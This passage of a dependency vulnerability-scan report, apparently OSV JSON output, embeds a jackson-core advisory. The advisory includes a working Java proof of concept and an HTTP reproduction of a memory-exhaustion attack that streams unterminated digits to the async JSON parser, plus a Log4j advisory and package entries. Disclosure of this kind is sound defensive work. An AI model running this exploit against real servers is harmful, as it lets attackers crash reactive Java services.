getNextSignedByteFromBuffer();\n }\n ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc \u0026\u0026 cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat \u003e PoC.java \u003c\u003c'EOF'\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n public static void main(String[] args) throws Exception {\n StreamReadConstraints strict = StreamReadConstraints.builder()\n .maxNumberLength(1000)\n .build();\n JsonFactory f = new JsonFactoryBuilder()\n .streamReadConstraints(strict)\n .build();\n\n // Sanity: synchronous parser rejects 5000-digit int.\n try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n while (p.nextToken() != null) { /* drive */ }\n System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n return;\n } catch (Exception e) {\n System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n }\n\n // Bug: async parser, chunked, no terminator.\n JsonParser ap = f.createNonBlockingByteArrayParser();\n ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n feeder.feedInput(preamble, 0, preamble.length);\n while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n byte[] digits = new byte[16 * 1024];\n for (int i = 0; i \u003c digits.length; i++) digits[i] = (byte) ('1' + (i % 9));\n\n for (int c = 0; c \u003c 600; c++) {\n feeder.feedInput(digits, 0, digits.length);\n JsonToken t = ap.nextToken();\n if (t != JsonToken.NOT_AVAILABLE) {\n System.out.println(\"[-] unexpected token: \" + t);\n return;\n }\n }\n System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n // Closing the number now finally triggers the validator.\n feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n feeder.endOfInput();\n try {\n while (ap.nextToken() != null) { /* drive */ }\n } catch (Exception e) {\n System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n }\n ap.close();\n }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux\u003cDataBuffer\u003e` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux\u003c...\u003e` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN — jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6 ms=39 \u003c- '{\"v\":1'\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1 ms=6518 \u003c- closing '}'\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6 ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker's payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |\n\nNote on the default `@RequestBody Mono\u003cJsonNode\u003e` path: that path cannot\ndistinguish the two builds because Spring's `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux\u003cJsonNode\u003e` / `@RequestBody Flux\u003c...\u003e` /\nWebSocket / SSE / any direct `decoder.decode(Flux\u003cDataBuffer\u003e, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n return _updateTokenToNA();\n }\n```\n\nNote: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr \u003c maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.", "id": "GHSA-r7wm-3cxj-wff9", "modified": "2026-10-02T23:15:06.853935725Z", "published": "2026-07-21T21:58:53Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68494" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/pull/1611" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-core" } ], "related": [ "CVE-2026-68494" ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)" } ] }, { "package": { "name": "com.google.code.findbugs:jsr305", "version": "3.0.2", "ecosystem": "Maven", "purl": "pkg:maven/com.google.code.findbugs/jsr305@3.0.2" } }, { "package": { "name": "com.google.errorprone:error_prone_annotations", "version": "2.28.0", "ecosystem": "Maven", "purl": "pkg:maven/com.google.errorprone/error_prone_annotations@2.28.0" } }, { "package": { "name": "com.google.guava:failureaccess", "version": "1.0.2", "ecosystem": "Maven", "purl": "pkg:maven/com.google.guava/failureaccess@1.0.2" } }, { "package": { "name": "com.google.guava:listenablefuture", "version": "9999.0-empty-to-avoid-conflict-with-guava", "ecosystem": "Maven", "purl": "pkg:maven/com.google.guava/listenablefuture@9999.0-empty-to-avoid-conflict-with-guava" } }, { "package": { "name": "com.google.j2objc:j2objc-annotations", "version": "3.0.0", "ecosystem": "Maven", "purl": "pkg:maven/com.google.j2objc/j2objc-annotations@3.0.0" } }, { "package": { "name": "org.apache.logging.log4j:log4j-api", "version": "2.14.1", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.logging.log4j/log4j-api@2.14.1" }, "groups": [ { "ids": [ "GHSA-qv9r-c865-cp47" ], "aliases": [ "CVE-2026-49844", "GHSA-qv9r-c865-cp47" ], "max_severity": "6.3" } ], "vulnerabilities": [ { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-qv9r-c865-cp47/GHSA-qv9r-c865-cp47.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-api", "purl": "pkg:maven/org.apache.logging.log4j/log4j-api" }, "ranges": [ { "events": [ { "introduced": "2.13.1" }, { "fixed": "2.25.5" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.13.1", "2.13.2", "2.13.3", "2.14.0", "2.14.1", "2.15.0", "2.16.0", "2.17.0", "2.17.1", "2.17.2", "2.18.0", "2.19.0", "2.20.0", "2.21.0", "2.21.1", "2.22.0", "2.22.1", "2.23.0", "2.23.1", "2.24.0", "2.24.1", "2.24.2", "2.24.3", "2.25.0", "2.25.1", "2.25.2", "2.25.3", "2.25.4" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-qv9r-c865-cp47/GHSA-qv9r-c865-cp47.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-api", "purl": "pkg:maven/org.apache.logging.log4j/log4j-api" }, "ranges": [ { "events": [ { "introduced": "2.26.0" }, { "fixed": "2.26.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.26.0" ] } ], "aliases": [ "CVE-2026-49844" ], "database_specific": { "cwe_ids": [ "CWE-116" ], "github_reviewed": true, "github_reviewed_at": "2026-08-13T18:28:30Z", "nvd_published_at": "2026-07-10T22:16:42Z", "severity": "MODERATE" }, "details": "Improper encoding of non-finite floating-point values during MapMessage JSON serialization in Apache Log4j API produces output that is not valid JSON. This issue affects Apache Log4j API versions 2.13.1 through 2.25.4 and version 2.26.0.\n\nThe fix for CVE-2026-34481 did not cover all code paths: when a MapMessage contains a non-finite IEEE 754 value (NaN, Infinity, or -Infinity), MapMessage.asJson() emits the corresponding bare token. RFC 8259 does not permit these tokens, so a conformant parser rejects the resulting document.\n\nThe defect is reachable only when both of the following conditions hold:\n\n * The application uses the message resolver https://logging.apache.org/log4j/2.x/manual/json-template-layout.html#event-template-resolver-message of JsonTemplateLayout or any other layout that relies on MapMessage.asJson() or MapMessage.getFormattedMessage(new String[]{\"JSON\"}).\n * The application logs a MapMessage that contains an attacker-controlled floating-point value.\n\n\nAn attacker who can supply a non-finite value can cause the affected layout to emit malformed JSON, which may corrupt the enclosing log record or disrupt downstream log ingestion and parsing.\n\nUsers are advised to upgrade to Apache Log4j API 2.25.5 or 2.26.1, both of which emit RFC 8259-compliant JSON for non-finite values.", "id": "GHSA-qv9r-c865-cp47", "modified": "2026-09-10T03:50:52.972700022Z", "published": "2026-07-11T00:31:48Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49844" }, { "type": "WEB", "url": "https://github.com/apache/logging-log4j2/pull/4163" }, { "type": "WEB", "url": "https://github.com/apache/logging-log4j2/commit/19edb23e162d6c728a8c2221a240037d389ed300" }, { "type": "WEB", "url": "https://github.com/apache/logging-log4j2/commit/feadf8eb0b4acb6ddfa4c0ab2bbc6d88b8e12d82" }, { "type": "PACKAGE", "url": "https://github.com/apache/logging-log4j2" }, { "type": "WEB", "url": "https://github.com/apache/logging-log4j2/releases/tag/rel/2.25.5" }, { "type": "WEB", "url": "https://github.com/apache/logging-log4j2/releases/tag/rel/2.26.1" }, { "type": "WEB", "url": "https://logging.apache.org/cyclonedx/vdr.xml" }, { "type": "WEB", "url": "https://logging.apache.org/log4j/2.x/manual/json-template-layout.html#event-template-resolver-message" }, { "type": "WEB", "url": "https://logging.apache.org/security.html#CVE-2026-49844" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N", "type": "CVSS_V4" } ], "summary": "Apache Log4j API: Improper encoding of non-finite floating-point values during MapMessage JSON serialization" } ] }, { "package": { "name": "org.apiguardian:apiguardian-api", "version": "1.1.2", "ecosystem": "Maven", "purl": "pkg:maven/org.apiguardian/apiguardian-api@1.1.2" } }, { "package": { "name": "org.checkerframework:checker-qual", "version": "3.43.0", "ecosystem": "Maven", "purl": "pkg:maven/org.checkerframework/checker-qual@3.43.0" } }, { "package": { "name": "org.junit.jupiter:junit-jupiter-api", "version": "5.11.3", "ecosystem": "Maven", "purl": "pkg:maven/org.junit.jupiter/junit-jupiter-api@5.11.3" } }, { "package": { "name": "org.junit.jupiter:junit-jupiter-engine", "version": "5.11.3", "ecosystem": "Maven", "purl": "pkg:maven/org.junit.jupiter/junit-jupiter-engine@5.11.3" } }, { "package": { "name": "org.junit.jupiter:junit-jupiter-params", "version": "5.11.3", "ecosystem": "Maven", "purl": "pkg:maven/org.junit.jupiter/junit-jupiter-params@5.11.3" } }, { "package": { "name": "org.junit.platform:junit-platform-commons", "version": "1.11.3", "ecosystem": "Maven", "purl": "pkg:maven/org.junit.platform/junit-platform-commons@1.11.3" } }, { "package": { "name": "org.junit.platform:junit-platform-engine", "version": "1.11.3", "ecosystem": "Maven", "purl": "pkg:maven/org.junit.platform/junit-platform-engine@1.11.3" } }, { "package": { "name": "org.opentest4j:opentest4j", "version": "1.3.0", "ecosystem": "Maven", "purl": "pkg:maven/org.opentest4j/opentest4j@1.3.0" } } ] } ], "experimental_config": { "licenses": { "summary": false, "allowlist": null } } }